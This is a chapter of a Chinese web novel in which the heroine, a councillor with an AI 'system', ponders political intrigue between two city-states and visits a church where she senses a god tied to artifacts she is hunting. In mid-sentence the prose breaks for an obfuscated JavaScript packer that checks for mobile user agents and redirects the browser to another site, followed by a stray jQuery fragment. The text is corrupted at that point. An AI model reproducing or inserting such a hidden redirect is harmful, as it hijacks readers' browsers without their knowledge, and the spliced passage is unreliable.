战争有前奏、风声，还需要名正言顺的宣战理由。


    截至目前，马萨伦的情报系统中，这些都没有。


    “我们得相信马萨伦的情报系统是个废物，一无所获，或者……同流合污？”


    再发散，就得是拉来一支外星系军队，不然，怎么在一年半内完成统一的壮举？


    许知顿住了。她动了动鼻子，灰尘、古老砖墙的气味似乎重现，容器里的血液液面稳当地上升，这一个抽完利索地奔向下一位。


    同流合污。她沉思。


    “你说，马萨伦有理由臣服于卡奇洛吗？”


    【可能性极小，可忽略。根据马萨伦内部资料，它和卡奇洛同处于第一梯队。独立、繁荣，无外患。马萨伦自行开战的可能性都高于为王先驱。】


    理是这个理。但这是依据马萨伦提供的资料得出的结论。仍要警惕，能给到她的消息保密级别最多中等。


    虽然清道夫名义上是理事，属于决策层。可在马萨伦，许知所在的公司，负责的是奇异种社会化和少数文娱相关的内容。


    说人话，就是一边看着人，一边劝对方洗心革面、天天向上。算是奇异种本土版本心理疏导。况且，她也不是公司的总负责人。


    这些工作的职权范围，统统游离于决策层。


    “只有需要我的武力时，他们会想起，哦还有位理事呢。来来来，尽责。”


    卡奇洛人还在痛骂清道夫世袭时，妥帖的马萨伦不动声色地将清道夫移出了权力中央。


    许知模拟马萨伦政客的腔调，说完就给自己整笑了。她这些天频繁出入伦勃朗，那群“同僚”的表面姿态还是相当热情的。


    马萨伦为卡奇洛提供血液制品，背地里肯定有勾结或特殊交易。


    但许知依然保留原来的观点：“马萨伦不会为卡奇洛铺路。”


    理事会里几个派系明争暗斗，上回在塔，还有人敢公开讽刺莱诺。至少，目前名义上，他还是并列的最高执政者呢。


    许知晃了晃头：“内斗都这么活泼有劲。除非啊。”


    她冲系统眨眨眼，升级版本的系统回了个认同的笑。


    两个小时后，公司，上级办公室。


    上级环形的桌上摆满了一堆文件，纸质、特殊材料的，还有宝石状的信息存储器。


    “临时监护人确定了。”


    “嗯。原定是我和莱诺。但是我这边腾不出空，改成了她。她终日闲着，你没事可以找她聊聊天。我这边空，你也可以来。”


    她，指的是星期日咖啡厅的咖啡师。


    【听上去和心理咨询类似，不过可以套套话。】


    许知点头。


    “嗯。奇异种会议的事，莱诺和你说了？”


    “是。”


    “清道夫为什么要参议。”除了讽刺人时，章女士的说话不带语调起伏。


    “啊？等等，这个他没说。”


    【我也确认！】


    章女士的神色静止住，没有变化。


    许知的视线中，对方头上黄色的云层一副风雨欲来的架势，静默地翻滚着。


    已经进化为情绪雷达的许知：章女士在烦躁。


    “他拨了两个小时，然后正事一句带过了。啧，厉害。”


    许知眼观鼻鼻观心，没有解释。从工作的角度看，昨天莱诺不相干的话确实说得太多，详略不当。可又的确是好心。


    章女士组织了下语言，一个点一个点地解释。


    “清道夫参议是惯例。与会时，是以清道夫和马萨伦理事的双重身份参加，前者权级更高。所以，到时候，你可能不会坐在马萨伦这边。”


    “时间和地点已经确认。四天后，卡奇洛。”


    许知的心跳快了一拍。送上门来的机会。


    “另外——”


    上级合上了面前的文件夹，眼神欣慰。


    “许知。你的档案正式归于马萨伦。按照惯例，会将住所分配在伦勃朗附近。如果有偏好，可以直接提。”


    诶？对于这个，许知倒没什么特殊偏好。不过，她印象中，伦勃朗附近都是独栋。


    “独栋？”


    “对。”


    次日，许知搬家了。


    她近来染上了一个口癖：神明在上。马萨伦的人八成有这个习惯，她某天顺嘴学来了。结果，今天马萨伦人听了连连夸她，继而滔滔不绝地介绍庆典的布置，欢乐的游行、教堂的……


    其实只是在问风俗的许知。


    好吧，也不错。就当入乡随俗了。


    此刻，好心的路人比划着：“先往东，再直走四百米……”说完还不放心，提醒许知前面有路牌，可以仔细看看。


    许知今天的目的地是教堂。公司安排的，算是一个清闲活计：确认下马萨伦西区教堂的修缮情况。


    接到章女士这条通知时，她还愣了下。什么？人类聚居区？教堂？


    许知原来的住所离伦勃朗也不远，只有一小部分和人类活动范围相接。公司更是坐落在伦勃朗内。


    除了去球场刷任务二时，她压根不会途径人类聚居区。


    对于此世神明和宗教场所的印象，一人一统还停留在随意散漫的咖啡厅上。咖啡厅被划入宗教场所固然奇怪，但，也许奇异种自有用意吧。


    种族隔阂之下，专注的一人一统并未多想。况且，她们的任务和人类暂且没有干系。


    【原来只是奇异种没建教堂，人类还是修建了正常的宗教场所。】


    章女士的嘱咐是：“没有难度，就是跑一趟。注意，不要吓着人。”


    这本来是劳拉的工作。和她本人相性契合又没有难度。这些天她请假，加之议会在即，许知和其他同事工作置换，在轻松的基础上更进一步。


    许知问了三次路。和认不认路无关，系统的实时地图一直挂在她脑子里呢。


    只是确实对马萨伦人类的文化没什么了解，恰巧，又是个套话的好机会。


    问路的地点是教堂，庆典在即，路人总是会多说几句，在发散的几句中，态度一览无余。


    一个兴奋地介绍、恨不得亲自领她去；一个善意提醒最近人流量很大，可能会拥挤；一个话末附带了句“神明保佑你”。


    初步判断，是个广受爱戴的神明。


    【切——】系统哼了两声，它还记着骤降的任务时限。


    西部这座教堂地势偏高，半倚着山。绵延的台阶上，人群来来往往，或者，找了个高处偏僻的位置坐着。


    蓝天白云、米白的教堂，直插云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991798|156872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天的尖顶。


    进入前，许知取了一本介绍册，系统负责读取。


    阳光透过拱窗，落在繁复的大理石雕塑上，为祂镀了层金光。


    人眼不可见之处，围绕雕塑，淡金色的光晕波动、扩散、收敛。


    诡异的熟悉、亲切涌上来，像是先感染了脏器，再借由血液扩散到身体的每一处。


    像中毒，像被蛊惑。


    “你还好吗？”一双手臂扶了她一下。


    许知冲路人点点头。她不能张嘴，一旦张开，可能就是急促的喘息。


    实际上，她所有的自制力都用在控制心跳和向雕塑靠近的冲动。


    系统在意识里担心地上窜下跳。


    【邪神！邪神！】


    然而，系统的跳脚只持续了几秒。


    亮起的任务一夺走了一人一统的注意力。微弱朦胧的光晕笼罩在收集进度上。


    上一次出现类似的情况，还是石刻。


    直到逛完了整个教堂，进度条的光晕如旧，没有特殊变化。


    不对。许知的手握紧。


    周围有石刻，任务面板会直接闪动，以作提醒。这次不同，只是检测到周边环境存在石刻的气息。


    【探查，教堂。】她在心里低声命令。


    【西部教堂：宏伟的教堂，艺术之作。据说神曾经来过。】


    “这幅壁画展示的是神明的两面。一个代表对众生平等的的爱，一个代表其伟力、权柄，象征至高无上……”


    参观的其他人交换着见解。


    壁画上，两个样貌相同的神像背对着，神色大相径庭，一方庄严，一方包容。


    许知离开前，最后看了眼纯白的大理石雕塑。


    一如最初的那张青铜笑面。


    西区教堂的修缮进度比预想中快很多，截至今天，全线完成。


    夜深。


    许知的思绪混杂成一团毛线。


    奇异种频道里的各种谣传猜测和今天的见闻重合。


    神明已死。假的。


    也许所谓神明也只是个特别强大的奇异种，寿命上不合理。


    但有一点已经确定，神和石刻有关系。


    石刻是她此行的目标，是外来的金手指。因为造成了巨大的恶性影响，才需要被回收。目前看，卡奇洛是符合这点的。


    最糟糕的可能，最契合的可能。石刻造就了神。


    “如果是这样，就合理了。”各种逻辑链条一瞬间串了起来。


    世界线在几百年前，已经被打乱了。所以，世界意识提供的世界线才会错乱。


    那神明，为什么近百年失去了踪迹？


    【被世界意识察觉、排斥了？】


    有可能。虽然这个世界意格外弱小，时间拉长，最终还是不利于金手指持有者的。


    【那我们要去神明那里搜罗金手指吗？】


    “暂缓。”


    在人类里，传颂的是神明的赞歌；奇异种里，几百年前，乱世纷争时，清道夫一族各处下注，参战的、战后重建、治理城邦的，这些记载数不胜数。


    怎么看，都是表里不一、蓄势待发的卡奇洛更值得关注。


    血液制品，尖端的医疗技术，这两者相加，会酿造出怎样的果实……